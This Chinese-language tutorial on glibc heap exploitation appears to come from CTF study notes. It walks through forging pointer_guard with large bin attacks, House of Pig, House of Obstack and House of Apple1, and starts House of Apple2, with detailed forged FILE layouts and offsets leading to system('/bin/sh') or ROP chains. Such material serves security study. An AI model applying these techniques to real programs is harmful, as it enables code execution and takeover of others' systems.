自从黑客们发现虚表(vtable)和各类函数指针很好劫持后,glibc 官方就加了这套加密机制:
- 写入指针时 (加密): 系统拿真实的函数地址,跟
pointer_guard进行混合运算,变成一串毫无意义的乱码存到内存里。 - 调用指针时 (解密): 系统把那串乱码读出来,再跟
pointer_guard进行逆向混合运算,还原出真实的函数地址,然后call执行。
这套加解密算法用到了两个极其基础、但也极其巧妙的位运算指令:
- XOR (异或 ): 它的特性是“相同为 0,不同为 1”,而且两次异或同一个数,等于没变
- ROL/ROR (循环左移/循环右移): 普通的左移(
<<)会把最高位丢掉,最低位补 0。但循环移位(Rotate)就像一个滚轮。如果向左循环移位(ROL),最左边被挤出去的比特位,会从最右边补充进来,没有任何数据丢失。
glibc 官方的算法公式(极其核心):
假设真实函数地址是 P (Pointer),密钥是 G(Guard),内存里存放的加密乱码是 M(Mangled)。
官方的加密(Mangle)过程是先异或,再循环左移 9 位:
$$
M = \text{ROL}_{9}(P \oplus G)
$$
官方的解密(Demangle)过程是加密的绝对逆运算,先循环右移 9 位,再异或回来:
$$
P = \text{ROR}_{9}(M) \oplus G
$$
密钥G一开始我们不知道,但是如果能把它覆盖为已知地址,那么就可以算出M从而布置P
了解之后就可以开始利用
先布置堆块布局如下:(以下Large bin Attack 简称LBA)
[ 状态零:开局物理布局 ]
绝对物理地址
HEAP_BASE + 0x000 +-------------------------+
| Chunk L1_A (0x420 ) | <--- 用于第一发 LBA 靶子
+ 0x420 +-------------------------+
| Chunk G1 (0x20 墙1) |
+ 0x440 +-------------------------+
| Chunk L1_B (0x400) | <--- 第一发 LBA 目标值。未来将作为 guard
+ 0x840 +-------------------------+
| Chunk G2 (0x20 墙2) |
+ 0x860 +-------------------------+
| Chunk L2_A (0x440 ) | <--- 用于第二发 LBA 靶子
+ 0xca0 +-------------------------+
| Chunk G3 (0x20 墙3) |
+ 0xcc0 +-------------------------+
| Chunk L2_B (0x430 ) | <--- 第二发 LBA 写入值,【同时兼任傀儡块 F】
+ 0x10f0 +-------------------------+
| Chunk G4 (0x20 ) |
+-------------------------+
| Top Chunk (荒野) |
+-------------------------+
释放 L1_A ,申请大块并将L1_A踢入 Large Bin
利用溢出漏洞篡改 L1_A 的bk_nextsize,指向 pointer_guard - 0x20(这是 Libc 里的固定偏移地址)
释放 L1_B,再次申请大块触发 LBA 插入
[ 状态一: Large Bin Attack 击杀密码防线 ]
【Large Bin [0x420 桶]】
Head ===> [ L1_A (靶子) ]
fd: normal
bk: normal
bk_nextsize ===> [ pointer_guard - 0x20 ] (你改的)
系统的 LBA 插入动作: [ L1_A->bk_nextsize->fd_nextsize = L1_B ]
本质执行: *( (pointer_guard - 0x20) + 0x20 ) = L1_B 的绝对地址
【TLS 线程本地存储区】(物理现场)
...
+0x28: Canary (不变)
+0x30: pointer_guard ===> [ HEAP_BASE + 0x440 (L1_B 的地址) ] <--- 密码被替换!
获取 Guard:known_guard = heap_base + 0x440 (状态一里的成果)
确定目标:target_gadget = libc_base + offset_setcontext (比如 ROP 栈迁移 gadget)。
手动加密:mangled_gadget = ROL9(target_gadget ^ known_guard)
趁着 Chunk L2_B (也就是 Chunk F) 还在我们手里,我们把所有的加密指针、/bin/sh 全部写进去。
动作: 利用程序的 edit 功能编辑 Chunk L2_B
[ 状态二:傀儡块 F (L2_B) 内部数据透视图 ]
+ 0xcc0 [ Chunk L2_B 头部 ] size: 0x431
+ 0xcd0 [ _flags ] 0x00000000
... (以下省略普通 _IO_FILE 字段,保证 _IO_OVERFLOW 能触发即可)
+ 0xd58 [ _lock ] [ 指向一个可写为 0 的已知地址 ]
+ 0xd98 [ vtable ] [ _IO_cookie_jumps 的绝对地址 ] <--- 极其合法的虚表
...
+ 0xda0 [ __cookie ] ===> [ HEAP_BASE + 0x1000 (栈迁移所需的堆 ROP 链地址) ] <--- 将成为 rdi
+ 0xda8 [ __functions ] 结构体
+0x00 read: 0
+0x08 write: [ 状态二算好的 mangled_gadget] <--- 致命木马!
+0x10 seek: 0
+0x18 close: 0
+ 0x1000 [ 你的 ROP 链 ] pop rdi; /bin/sh 地址; system 地址... <--- 最终行刑场
释放 L2_A 并踢入 Large Bin
利用溢出漏洞篡改 L2_A 的bk_nextsize),指向 **_IO_list_all – 0x20`**。
释放我们填好炸药的 L2_B,再次申请大块触发 LBA
[ 状态三:Large Bin Attack 篡改收尸路线 ]
【Large Bin [0x440 桶]】
Head ===> [ L2_A (靶子) ]
bk_nextsize ===> [ _IO_list_all - 0x20 ] (你改的)
系统的 LBA 插入动作: [ L2_A->bk_nextsize->fd_nextsize = L2_B ]
本质执行: *( (_IO_list_all - 0x20) + 0x20 ) = L2_B 的绝对地址
【libc 的数据段】(物理现场)
...
_IO_list_all ===> [ HEAP_BASE + 0xcc0 (Chunk L2_B 的地址) ] <--- 链表头沦陷!
最后让程序退出,触发 exit()
[ 状态四:借刀杀人,解密执行 ]
1. exit() 调用 FSOP。
2. 系统读取 [_IO_list_all] ===> 来到了堆上的 Chunk L2_B。
3. 系统解析 vtable [_IO_cookie_jumps] ===> 调用 __overflow。
4. __overflow 调用虚表里的:_IO_cookie_write 函数。
【_IO_cookie_write 内部物理逻辑】
RDI = Chunk L2_B 的用户数据区首地址 (HEAP_BASE + 0xcd0)
动作1 (读取木马): RAX = [ RDI + 0xe0 + 0x08 ] ===> 取出了 [ mangled_gadget ]
动作2 (读取 Guard):RCX = TLS:[+0x30] ===> 取出了我们在状态一塞进去的已知 guard [ HEAP_BASE + 0x440 ]
动作3 (致命解密): PTR_DEMANGLE (RAX ^ RCX)
(RAX 循环右移 9 位) ^ RCX
RAX 完美变回了 [ target_gadget (libc绝对地址) ]
动作4 (执行): CALL RAX (rdi=Chunk L2_B 的 __cookie)
物理执行流: 跳入 setcontext gadget -> 将 RSP 迁移到堆上的 ROP 链 -> 执行 system("/bin/sh")
需要注意的是:
pointer_guard就在canary下面,偏移可能需要爆破
House of Pig
适用版本:2.23—— 至今
堆溢出,use after free
前置知识:
在 glibc 的 _IO_str_overflow 函数里,决定要不要去调用 malloc 的,是这样一个极其核心的 if 判定:
// 源码原声:计算当前写入了多少数据
pos = fp->_IO_write_ptr - fp->_IO_write_base;
// 源码原声:判定是否超出了缓冲区
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
// ... 触发扩容 (执行 malloc) ...
}
系统通过计算 _IO_write_ptr 减去 _IO_write_base,来判断当前已经写了多少字节(也就是 pos)。
为了演示方便,在我们的厂房(Chunk F)里:
- 我们等下会把
_IO_write_base设为0 - 然后会把
_IO_write_ptr设为了0x99999999 - 计算结果: 系统算出来的
pos = 0x99999999(一个极其巨大的天文数字)
算准原缓冲区的长度 (_IO_blen)
源码里的 _IO_blen(fp) 其实是一个宏,它的底层定义就是: _IO_buf_end - _IO_buf_base。
等下在我们的厂房(Chunk F)里:
_IO_buf_base会指向 Chunk P 的首地址_IO_buf_end会指向 Chunk P 的首地址 + 22。- 计算结果: 系统算出来的原缓冲区长度就是 22
系统拿着这两个数字去比对: if (0x99999999 >= 22 + 0) (flush_only 通常为 0)。 这个条件绝对成立!系统一看缓冲区爆了,而且爆得极其严重,必须马上申请新的大内存, 扩容判定,成功触发
进入了扩容的 if 块内部后,系统必须决定去申请多大的一块新内存。 glibc 源码里写死了一个扩容的数学公式(为了防止频繁分配,系统默认每次扩容都会多申请一倍再加一点):
// 源码原声:计算新缓冲区大小
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size);
我们把第一步骗出来的数字,原封不动地代入系统的流水线:
- 提取旧长度:
old_blen = 22。 - 执行系统公式:
new_size = 2 * 22 + 100。 - 得出精确结果:
new_size = 44 + 100 = 144! - 调用分配器: 系统乖乖地执行了
malloc(144)
之后呢malloc(144)会实际申请160=0xa0的块,所以我们布置0xa0的tcache bin链就行
了解之后就可以开始利用
布置堆块布局如下:
[ 物理堆基址 HEAP_BASE ]
+ 0x0000 +-----------------------------------+
| Chunk P (毒药猪) [size: 0x30] | <--- 只需要装 22 字节毒药
+ 0x0030 +-----------------------------------+
| Chunk L1 (LBA 大哥) [size: 0x450] | <--- 用于辅助劫持 _IO_list_all
+ 0x0480 +-----------------------------------+
| Chunk F (伪造流) [size: 0x440] | <--- 既是厂房,又是 LBA 的子弹
+ 0x08C0 +-----------------------------------+
| Chunk A (工具块) [size: 0xa0] | \
+ 0x0960 +-----------------------------------+ |-- 精确申请 144 字节!(144+16=160=0xa0)
| Chunk B (工具块) [size: 0xa0] | /
+ 0x0A00 +-----------------------------------+
| Guard Chunk (隔离墙) |
+ 0x0A20 +-----------------------------------+
| Top Chunk (荒野) |
+-----------------------------------+
趁着块还在我们手里,把 Payload 写入。我们必须保证 _IO_buf_end - _IO_buf_base = 22
【 Chunk P (毒药猪) 的数据区: HEAP_BASE + 0x010 】
+ 0x00: [ Gadget 的绝对地址 ] <--- (占8字节) 准备贴在 __free_hook 上
+ 0x08: [ ROP 链的绝对地址 ] <--- (占8字节) 准备给 RDX 传参
+ 0x10: [ 6 字节的垃圾填充 ] <--- 完美凑齐 22 字节!
【 Chunk F (厂房/伪造流) 的数据区: HEAP_BASE + 0x490 】
+ 0x00 [_flags] 0x00000000
...
+ 0x28 [_IO_write_ptr] 0x99999999 <--- 极大值,引诱系统扩容
...
+ 0x38 [_IO_buf_base] [ HEAP_BASE + 0x010 ] <--- 指向 Chunk P 起始处
+ 0x40 [_IO_buf_end] [ HEAP_BASE + 0x026 ] <--- 指向 Chunk P + 22 处!
...
+ 0xD8 [vtable] [ _IO_str_jumps 的绝对地址 ]
free(A), free(B)
连续释放两个 0xa0 的块
【此时的底层链表】:Tcache[0xa0]_Head ===> B ===> A ===> 0
触发漏洞 (UAF 或 堆溢出),修改 B 的 fd 指针 # 我们把 B 的 fd 改为目标地址:__free_hook – 0x08
【此时的底层链表】:Tcache[0xa0]_Head ===> B ===> [__free_hook - 0x08]
然后malloc(0x90)
系统把B分配出来,
【此时的底层链表】:Tcache[0xa0]_Head ===> [__free_hook - 0x08]
接着Large Bin Attack (劫持 _IO_list_all)
释放 L1,改 L1 的 bk_nextsize 指向 _IO_list_all - 0x20。 释放厂房 F,触发 LBA 插入机制
【 Large Bin 插入时的物理动作 】
L1->bk_nextsize->fd_nextsize = Chunk F 绝对地址
翻译为绝对地址:*( (_IO_list_all - 0x20) + 0x20 ) = HEAP_BASE + 0x480
【 libc 数据段:IO 全局链表 】
_IO_list_all ===> [ HEAP_BASE + 0x480 (即 Chunk F) ]
执行 exit() 唤醒 _IO_str_overflow。 系统判定需要扩容,算出 new_size = 144,去 Tcache[0xa0] 拿到了 __free_hook
[ 系统底层执行:memcpy( __free_hook, Chunk P, 22 ) ]
来自 Chunk P (源地址) 砸向 libc (目标地址)
---------------------------------- ----------------------------------
[ 0~7 字节: Gadget 的绝对地址 ] =======> 写入 (__free_hook 内存处)
[ 8~15 字节: ROP 链的绝对地址 ] =======> 写入 (__free_hook + 0x08)
[ 16~21 字节: 6 字节垃圾填充 ] =======> 写入 (__free_hook + 0x10)
拷贝完成,系统紧接着执行 free(Chunk P)。 因为 Hook 已经被上面的 memcpy 改成了 Gadget,执行流瞬间跳入 Gadget
[ CPU 寄存器视角:栈迁移 ]
进入 Gadget 时: RDI = Chunk P 的首地址 (因为 free 的参数是 Chunk P)
Gadget 指令执行:mov rdx, [rdi + 8]
=> 读取 Chunk P 偏移 8 字节处的数据。
=> RDX = [ ROP 链的绝对地址 ] !
Gadget 指令执行:call [rdx + 0x20]
=> 彻底抛弃原有栈顶,跳转到堆上的 ROP 链开始执行
House of Obstack
适用版本:2.23—— 至今
堆溢出
前置知识:
什么是 obstack?(与 malloc 不同的“批发式”内存池)
在写 C 语言时,我们最熟悉的分配内存的方式是 malloc 和 free。
malloc的痛点: 就像是在市中心租单间。你需要一个单间,系统就给你找一个。如果你不停地租、退、租、退,内存里就会布满碎片,而且每次系统都要去维护复杂的链表(也就是我们之前讲的 Tcache、Fastbin 等等),这其实很慢
为了解决这个问题,GNU C 库(glibc)的开发者发明了 obstack (Object Stack,对象栈)
obstack的哲学: 就像是租下整个体育馆,然后在里面拉布帘。 系统一次性向内核申请一块极其巨大的内存(Chunk)。然后当程序需要内存时,系统直接在这个大内存里划一道线(移动指针)分给你。- 最大优势: 它释放内存时,不需要像
free那样一个个回收,而是直接把那道线往回一拉,瞬间全部清空!这对于需要频繁分配小对象、最后又要一起销毁的场景具有很大优势
什么是 _IO_obstack_overflow?
obstack: 指明了这个文件流不是真的写在硬盘上,而是写在刚刚说的“内存池”里的。overflow: 这里的 overflow 不是指“缓冲区溢出漏洞”(Buffer Overflow)。在 IO 部门的行话里,overflow 只是一个中性词,意思是:“当前这个水桶(缓冲区)装满了,需要倒掉(刷新)或者换个大桶(扩容)
当执行流从 _IO_obstack_overflow 进入后,它想要往我们伪造的内存池里写入一个字符(比如 EOF)。于是它调用了 obstack_1grow。
在 glibc 源码中,obstack_1grow 根本不是一个真正的函数,而是一个宏定义(为了追求极致的运行速度)。它的底层源码大概长这样:
// glibc 底层宏定义 (精简版)
#define obstack_1grow(OBSTACK, datum) \
do { \
// 1. 核心安检:当前的空闲指针 + 1,是不是超过了池子的极限?
if ((OBSTACK)->next_free + 1 > (OBSTACK)->chunk_limit) \
// 2. 如果超过了,说明池子满了,呼叫后勤部门扩容!
_obstack_newchunk ((OBSTACK), 1); \
\
// 3. 如果没满(或者扩容完了),就把数据写进去
*((OBSTACK)->next_free)++ = (datum); \
} while (0)
系统原本是真的想检查内存满没满。但是,OBSTACK 这个指针,指向的是我们在堆上伪造的假结构体!
- 我们在伪造时,把
next_free填成了1。 - 我们把
chunk_limit填成了0。
代入系统的安检公式: if ( 1 + 1 > 0 ) 条件绝对成立! 系统瞬间被骗,它坚信“内存池已经爆满了”,于是立刻挂起写入操作,急急忙忙地去调用扩容函数 _obstack_newchunk
_obstack_newchunk 是一个真正的 C 函数。它的职责是计算还需要多大的内存,然后调用分配器去要内存
// glibc 底层源码 (极度精简版)
void _obstack_newchunk (struct obstack *h, int length)
{
// ... 前面有一大堆计算对齐、计算 new_size 的复杂数学代码 ...
// (我们根本不在乎它怎么算,因为不管算出多大,都会走到下面这句)
// 致命的调用:去申请新内存!
new_chunk = CALL_CHUNKFUN (h, new_size);
// ... 后面是对新内存的初始化代码 (根本执行不到了,因为这里已经弹 Shell 了) ...
}
调用了一个叫 CALL_CHUNKFUN 的宏
我们来看看这个宏的定义:
// glibc 底层宏定义
#define CALL_CHUNKFUN(h, size) \
// 判断:用户有没有提供额外的参数 (extra_arg)?
(((h)->use_extra_arg) \
// 分支 A:有额外参数。调用自定义函数,并把额外参数和 size 一起传进去!
? (*(h)->chunkfun) ((h)->extra_arg, (size)) \
// 分支 B:没有额外参数。只传 size 进去。
: (*(h)->chunkfun) ((size)))
系统读取 h->use_extra_arg。我们在结构体里填的是 1。系统走向分支 A。
系统准备执行函数调用:(*(h)->chunkfun) ( (h)->extra_arg, size )
系统提取函数指针 h->chunkfun。我们在结构体里填的是 system 的绝对地址。
系统提取参数 h->extra_arg。我们在结构体里填的是 "/bin/sh\x00" 的绝对地址
了解这些之后,就可以开始利用:
初始堆块布局如下:
[ 状态一:物理内存绝对布局与连体结构伪造 ]
绝对物理地址
HEAP_BASE + 0x000 +-----------------------------------------+
| Chunk L1 [实际占用 0x450] | <--- 用于辅助劫持
+ 0x450 +-----------------------------------------+
| Chunk F [实际占用 0x440] |
+ 0x460 (数据区) | ========[ 伪造 _IO_FILE 结构 ]======== |
| +0x00: _flags = 0 | <--- (打盲LBA时会被覆盖)
| ... |
| +0x28: _IO_write_ptr = 1 | <--- 只要 > write_base(0) 即可
| ... |
| +0xD8: vtable ===> [ &_IO_obstack_jumps ] <--- 合法的虚表
| ========[ 绑定 obstack 指针 ]======== |
| +0xE0: obstack ===> [ HEAP_BASE + 0x460 + 0xE8 ] (指在自己屁股后面)
| ========[ 伪造 obstack 结构体 ]====== | (F数据区+0xE8)
| +0xE8+0x18: next_free = 1 | \ 人为制造 [1 + 1 > 0]
| +0xE8+0x20: chunk_limit = 0 | / 的“池子已满”状态
| ... |
| +0xE8+0x30: chunkfun ===> [ system ] | <--- 明文指针,白给!
| +0xE8+0x40: extra_arg ===> [ F数据区+0x138 ] (指向字符串)
| +0xE8+0x48: use_extra_arg = 1 | <--- 启用参数
| ========[ 放置shell命令 ]============== | (F数据区+0x138)
| +0x138: b"/bin/sh\x00" |
+ 0x890 +-----------------------------------------+
| Guard Chunk (隔离墙) |
+-----------------------------------------+
我们释放 L1 入 Large Bin,改其 bk_nextsize 指向 _IO_list_all - 0x20。释放 F,触发 LBA 插入,强制覆盖目标全局变量
[ 状态二:LBA 强制修改收尸路线 ]
【 Large Bin 插入时的物理动作 】
L1->bk_nextsize->fd_nextsize = Chunk F 绝对地址
本质执行:*( (_IO_list_all - 0x20) + 0x20 ) = HEAP_BASE + 0x450
【 libc 全局数据段:IO 全局链表 】
_IO_list_all ===> [ HEAP_BASE + 0x450 (即 Chunk F) ]
我们让程序正常结束触发 exit()。系统遍历 _IO_list_all 找到了 Chunk F
1. exit() 调用 FSOP。
2. 系统读取 [_IO_list_all] ===> 来到了堆上的 Chunk F。
3. 系统解析 vtable [_IO_obstack_jumps] ===> 调用 __overflow
系统底层执行流跳入 _IO_obstack_overflow 函数内部
RDI = Chunk F 首地址
结构体提取:从 [ RDI + 0xE0 ] 处取出指针。
物理动作:取出了我们在第一步布置的【伪造 obstack 的绝对堆地址】
进入 obstack_1grow 宏调用
系统读取伪造 obstack 的字段进行比对:
判定:next_free(1) + 1 > chunk_limit(0) 成立!
系统认为:“哎呀,池子满了,得扩容!”
物理动作:跳入 [_obstack_newchunk] 函数
系统读取伪造 obstack 的字段作为参数:
提取:h->chunkfun = system
提取:h->extra_arg = “/bin/sh\x00” 地址
启用:h->use_extra_arg = 1
系统极其听话地执行了 CALL_CHUNKFUN 宏:
本质执行: h->chunkfun( h->extra_arg )
物理级转化: system( "/bin/sh\x00" )
House of Apple1
适用版本:2.23—— 至今
堆溢出
前置知识:
_IO_wstrn_overflow 是 glibc 内部处理定长宽字符串流(Wide String n-length Stream)*的合法溢出处理函数。比如,当程序在底层调用 vswprintf 一类的函数,向内存缓冲区写入宽字符时,如果发现原本分配的缓冲区写满了,系统就会调用这个函数来进行*缓冲区的重置或扩容
struct _IO_wstrnfile
{
_IO_FILE f; // +0x00: 标准的 0xE0 大小的 FILE 结构体
wchar_t overflow_buf[64]; // +0xE0: 备用缓冲区
};
这是宽字符流的专属扩展结构体。它在标准的 _IO_FILE 后面,追加了一个定长的数组,作为备用的溢出缓冲区。
_IO_wstrn_jumps 是 glibc 内部定义的一个真实的全局静态数组,里面存满了一堆函数指针。
这个是专门给定长宽字符串流(wstrn)用的
在这个虚表中,负责处理“溢出(overflow)”逻辑的那个函数指针,指向的正是真实函数 _IO_wstrn_overflow
snf 是 fp 的强转指针,fp 让系统只能看到 +0x00 到 +0xE0 的基本结构;而强转成 snf 后,系统在编译层面被允许访问 相对偏移+0xE0 后面的 overflow_buf 数组(overflow_buf数组一般是固定衔接在_IO_FILE 结构体之后的)
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
当**劫持执行流 (vtable)写成了 &_IO_wstrn_jumps后,系统顺着这个地址去找,最终 CALL _IO_wstrn_overflow,然后就会将 snf->overflow_buf 的绝对地址,写入 fp->_wide_data 所指向的内存区域
布置堆块布局并准备好伪造的IO_File结构体:
绝对堆地址 物理偏移 内部字段名称 (struct _IO_FILE) 被强制写入的物理数据 (8字节/行)
-------------------------------------------------------------------------------------------------------
HEAP_BASE + 0x000: | | Chunk 0 (溢出源) [实际占用 0x20] | (溢出利用点,包含你的超长 payload)
HEAP_BASE + 0x020: | | Chunk L1 (LBA靶子) [实际占用 0x440]| (已被 free 进入 Large Bin)
HEAP_BASE + 0x460: | | Chunk F 块头 (prev_size & size) | (系统维护数据)
-------------------------------------------------------------------------------------------------------
| | ======== Chunk F 数据区开始 ======== |
HEAP_BASE + 0x470: | +0x00 | _flags | 0x0000000000000000
HEAP_BASE + 0x478: | +0x08 | _IO_read_ptr | 0x0000000000000000 (0填充)
HEAP_BASE + 0x480: | +0x10 | _IO_read_end | 0x0000000000000000 (0填充)
HEAP_BASE + 0x488: | +0x18 | _IO_read_base | 0x0000000000000000 (0填充)
HEAP_BASE + 0x490: | +0x20 | _IO_write_base | 0x0000000000000000 (基址归零)
HEAP_BASE + 0x498: | +0x28 | _IO_write_ptr | 0x0000000000000001 <--- 强行使其大于 base!
HEAP_BASE + 0x4A0: | +0x30 | _IO_write_end | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4A8: | +0x38 | _IO_buf_base | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4B0: | +0x40 | _IO_buf_end | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4B8: | +0x48 | _IO_save_base | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4C0: | +0x50 | _IO_backup_base | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4C8: | +0x58 | _IO_save_end | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4D0: | +0x60 | _markers | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4D8: | +0x68 | _chain | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4E0: | +0x70 | _fileno / _flags2 | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4E8: | +0x78 | _old_offset | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4F0: | +0x80 | _cur_column / _vtable_offset / _shortbuf | 0x0000000000000000 (0填充)
HEAP_BASE + 0x4F8: | +0x88 | _lock | [ 已知可写且值为0的绝对物理地址 ]
HEAP_BASE + 0x500: | +0x90 | _offset | 0x0000000000000000 (0填充)
HEAP_BASE + 0x508: | +0x98 | _codecvt | 0x0000000000000000 (0填充)
HEAP_BASE + 0x510: | +0xA0 | _wide_data | [ __free_hook 的绝对物理地址 ]
HEAP_BASE + 0x518: | +0xA8 | _freeres_list | 0x0000000000000000 (0填充)
HEAP_BASE + 0x520: | +0xB0 | _freeres_buf | 0x0000000000000000 (0填充)
HEAP_BASE + 0x528: | +0xB8 | __pad5 | 0x0000000000000000 (0填充)
HEAP_BASE + 0x530: | +0xC0 | _mode | 0x0000000000000000 (0填充)
HEAP_BASE + 0x538: | +0xC8 | _unused2 (共占据 20 字节中的前 8) | 0x0000000000000000 (0填充)
HEAP_BASE + 0x540: | +0xD0 | _unused2 (紧接后面的 8 字节 + 4字节对齐) | 0x0000000000000000 (0填充)
HEAP_BASE + 0x548: | +0xD8 | vtable | [ &_IO_wstrn_jumps 的绝对地址 ]
-------------------------------------------------------------------------------------------------------
| | ====== _IO_FILE 结构体绝对结束,进入 snf 专属视野 ====== |
HEAP_BASE + 0x550: | +0xE0 | overflow_buf[0] 到 [1] | [ Shellcode / 栈迁移 Gadget 第一部分 ]
HEAP_BASE + 0x558: | +0xE8 | overflow_buf[2] 到 [3] | [ Shellcode / 栈迁移 Gadget 第二部分 ]
HEAP_BASE + 0x560: | +0xF0 | ... 后续的宽字符缓冲区 | [ 可以继续布置更长的 ROP 链 ]
-------------------------------------------------------------------------------------------------------
HEAP_BASE + 0x890: | | Top Chunk |
-------------------------------------------------------------------------------------------------------
free (Chunk L1)再申请更大块让Chunk L1进入Large bin
利用 Chunk 0 的堆溢出漏洞,向下越界,改写 Chunk L1 的关键指针
【 堆内存战损区:发生堆溢出 】
我们在 Chunk 0 中写入超长 payload,越界进入 Chunk L1 头部:
HEAP_BASE + 0x020 (L1 prev_size) : [ 垃圾数据 ]
HEAP_BASE + 0x028 (L1 size) : [ 原 size 保持不变 ]
HEAP_BASE + 0x030 (L1 fd) : [ 保持不变 ]
HEAP_BASE + 0x038 (L1 bk) : [ 保持不变 ]
HEAP_BASE + 0x040 (L1 fd_nextsize): [ 保持不变 ]
HEAP_BASE + 0x048 (L1 bk_nextsize): [ _IO_list_all - 0x20 ] <--- 溢出覆盖:将目标设为全局 IO 链表
【 触发 LBA 写入 】
执行 free(Chunk F)
执行 malloc(0x450) <--- 申请大块,触发 Large Bin 插入逻辑
执行底层宏:L1->bk_nextsize->fd_nextsize = Chunk_F_Addr
物理结果:_IO_list_all ===> [ HEAP_BASE + 0x460 ]=Chunk_F_Addr
执行 exit() 结束程序,交出执行流。 系统顺着 _IO_list_all 读取到 Chunk F,发现 _IO_write_ptr > _IO_write_base,跳入虚表中的 _IO_wstrn_overflow
进入源码的 if 块后,系统开始执行高密度的指针拷贝
系统提取指针:
fp->_wide_data = [ __free_hook ] 的绝对地址
snf->overflow_buf = [ HEAP_BASE + 0x550 ] (即 Chunk F 内部的已知堆地址)
【 libc 数据段:__free_hook 区域的连续覆盖 】
----------------------------------------------------------------------------------
[ __free_hook + 0x00 ] (原值为 0) 被强制改写为 ===> [ HEAP_BASE + 0x550 ]
[ __free_hook + 0x08 ] (垃圾数据) 被强制改写为 ===> [ HEAP_BASE + 0x550 + offset ]
[ __free_hook + 0x10 ] (垃圾数据) 被强制改写为 ===> [ HEAP_BASE + 0x550 ]
[ __free_hook + 0x18 ] (垃圾数据) 被强制改写为 ===> [ HEAP_BASE + 0x550 ]
[ __free_hook + 0x20 ] (垃圾数据) 被强制改写为 ===> [ HEAP_BASE + 0x550 ]
[ __free_hook + 0x28 ] (垃圾数据) 被强制改写为 ===> [ HEAP_BASE + 0x550 ]
----------------------------------------------------------------------------------
此时,系统的 __free_hook 的值,已经被替换成了我们完全已知的堆地址:HEAP_BASE + 0x550
如果我们在接下来的程序运行中(或者在 IO 刷新的收尾阶段系统自动调用的清理操作中)触发了任何一次 free(ptr)
1. 系统调用 free(ptr)
2. 系统检查 __free_hook,发现不为 NULL,其值为 [ HEAP_BASE + 0x550 ]。
3. 系统底层跳转:
CALL [ HEAP_BASE + 0x550 ]
4. CPU 控制权转移:
PC (指令寄存器) 跳入堆内存 HEAP_BASE + 0x550。
开始执行我们在那里提前布置好的 Shellcode 或特定的栈迁移 Gadget
House of Apple2
适用版本:2.23—— 至今
堆溢出
前置知识:
在 glibc 中,当我们打开一个真正的文件(比如通过 fopen 打开硬盘上的 txt),并且准备向里面写入宽字符(wchar_t,即多字节字符如中文、Unicode)时,系统底层使用的是 _IO_wfile_jumps 这套虚表
_IO_wfile_overflow 就是这套虚表里负责处理“文件缓冲区满载”或“初次写入”的核心函数
它的合法业务逻辑非常清晰:
- 检查权限: 这个文件允许写吗?(检查
_flags) - 检查缓冲区: 这个文件在内存里的宽字符缓冲区分配了吗?
- 分配缓冲区(关键点): 如果没有分配,去调用一个专门的分配函数(
doallocate)向系统要一块内存。 - 执行写入/刷新: 把数据真正写进内核或硬盘
关于权限检查
// glibc 源码
if (f->_flags & _IO_NO_WRITES) // _IO_NO_WRITES 的宏定义值为 0x8
return WEOF;
如果绕过了权限检查,源码继续执行,判断当前流的状态:
// glibc 源码
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL)
{
// ... 准备进入分配分支 ...
}
_IO_CURRENTLY_PUTTING (宏定义为 0x800) ,同样可以设计_flags绕过进入if分支
在 if 块内部,系统调用了专门检查宽字符缓冲区的函数 _IO_wdoallocbuf(f):
// glibc 源码:_IO_wdoallocbuf 内部
void _IO_wdoallocbuf (FILE *fp)
{
// 检查 1:如果 _IO_buf_base 不是 NULL,说明已经有缓冲区了,直接 return 退出!
if (fp->_wide_data->_IO_buf_base)
return;
// 检查 2:如果没有缓冲区,调用分配宏!
_IO_WDOALLOCATE (fp);
}
系统读取 fp->_wide_data,得到 A 区的起址。然后读取 A 区偏移 +0x30 的 _IO_buf_base。
利用设计: 在我们精密重叠的布局中,A 区(即 fake io_file 的 +0xE0 处)的偏移 +0x30,也就是 fake io_file整体的 +0x110 处,可以填充 0x0000000000000000
_IO_WDOALLOCATE 是一个层层嵌套的宏,完全展开后就是那句著名的:
(fp->_wide_data->_wide_vtable->doallocate) (fp)
doallocate可以只要被我们改成利用的gadget,就可以引导系统去call
在 glibc 2.24 之后,官方为了防止虚表劫持,引入了 vtable_is_valid 检查,标准的 vtable 必须落在 libc 的只读段(.rodata)内,否则直接 abort 崩溃。后来又给各个函数指针加上了 PTR_MANGLE 加密。
但是,开发者的百密一疏在于:他们忘了检查宽字符专属的虚表
// 1. 触发点:_IO_wfile_overflow 内部需要分配缓冲区时,调用宏:
_IO_wdoallocbuf(fp);
// 2. 宏展开进入 _IO_WDOALLOCATE
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
// 3. WJUMP0 宏展开
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
// 4. 终极展开:物理层面的绝对指针解引用 (毫无安检!)
(fp->_wide_data->_wide_vtable->doallocate) (fp)
这里没有任何 PTR_DEMANGLE 解密,也没有任何 IO_validate_vtable 检查! 只要我们能控制 fp->_wide_data,就能控制 _wide_vtable,就能直接控制 RIP 寄存器执行任意函数
了解前置知识后就可以开始利用
设置堆布局如下:
绝对物理地址 物理偏移 内部重叠字段双重视角 (fp 视角 / 扩展视角) 被强制写入的物理数据 (8字节/行)
-------------------------------------------------------------------------------------------------------
HEAP_BASE + 0x000 | | Chunk L1 (已在 Large Bin 的靶子) | (被篡改 bk_nextsize = _IO_list_all - 0x20)
-------------------------------------------------------------------------------------------------------
HEAP_BASE + 0x470 | | Chunk L2 (即将 Free 的 LBA 子弹) |
| +0x00 | _flags (即将被 LBA 的系统指针彻底覆盖) | [ 无所谓,必然战损 ]
| ... | ... 前面 0x20 字节被系统接管 | [ 垃圾数据 ]
| +0x28 | _IO_write_ptr | 0x0000000000000000 (必须为0,让它检查失败)
